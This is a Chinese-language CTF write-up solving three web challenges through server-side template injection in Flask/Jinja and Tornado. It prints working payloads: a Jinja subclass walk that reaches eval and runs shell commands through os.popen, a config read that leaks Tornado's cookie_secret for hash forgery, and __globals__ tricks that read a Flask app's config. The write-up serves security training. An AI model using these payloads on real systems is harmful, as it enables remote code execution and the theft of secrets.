XCTF-Web_python_template_injection_web
题目地址
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408
网页截图
参考资料
python模板注入: https://www.cnblogs.com/tr1ple/p/9415641.html
解题过程
尝试查看设置文件
构造payload
1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}运行后找到了
fl4g
修改payload,查看
fl4g
的内容1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
护网杯2018-easyternado_web
题目描述
Tornado 框架
题目地址
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5422
网页截图
解题过程
查看文件
/welcome.txt
render/flag.txt
flag in /fllllllllllllag/hints.txt
md5(cookie_secret+md5(filename))
welcome.txt
中提示render()
函数flag.txt
中提示flag位于fllllllllllllag
中hints.txt
提示了filehash
的加密方式
- 尝试不用
filehash
参数直接访问fllllllllllllag
刚才提示了render()
,怀疑是python模板注入,对?msg=
后的参数进行修改.
?msg=123
显示了123
?msg={{1}}
显示了1
?msg={{1+1}}
报错500?msg={{config.items()}}
显示了Orz
由此猜测,服务端屏蔽了运算,但文件属性依然可以访问.尝试访问ternado的配置文件,拿到了cookie_secret
.
按照
hints.txt
中的提示,将/fllllllllllllag
转换为MD53bf9f6cf685a6dd8defadabfb41a03a1
,在前面加上32db19e9-78c5-474c-9ec9-bb7157d96eea
再次转换得到97065867013cdb5b7cb8f2178c841b39
提交,拿到flag
TokyoWesterns CTF-shrine_web
题目地址
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5423&page=1
网页源码
1 | import flask |
解题思路
jinja模板注入,绕过ssti。
代码审计
- 利用了Flask Web;
config['FLAG']
中包含flag;- 在
/shrine/
目录下存在jinja模板执行; safe_jinja()
方法会将圆角括号替换为空字符;config
与self
的值会被设置为None
。
构造payload
jinja模板执行python命令;
利用flask中的
get_flashed_messages
来获取回显;或者利用flask中的
url_for
重定向方法。payload1:
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
payload2:
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}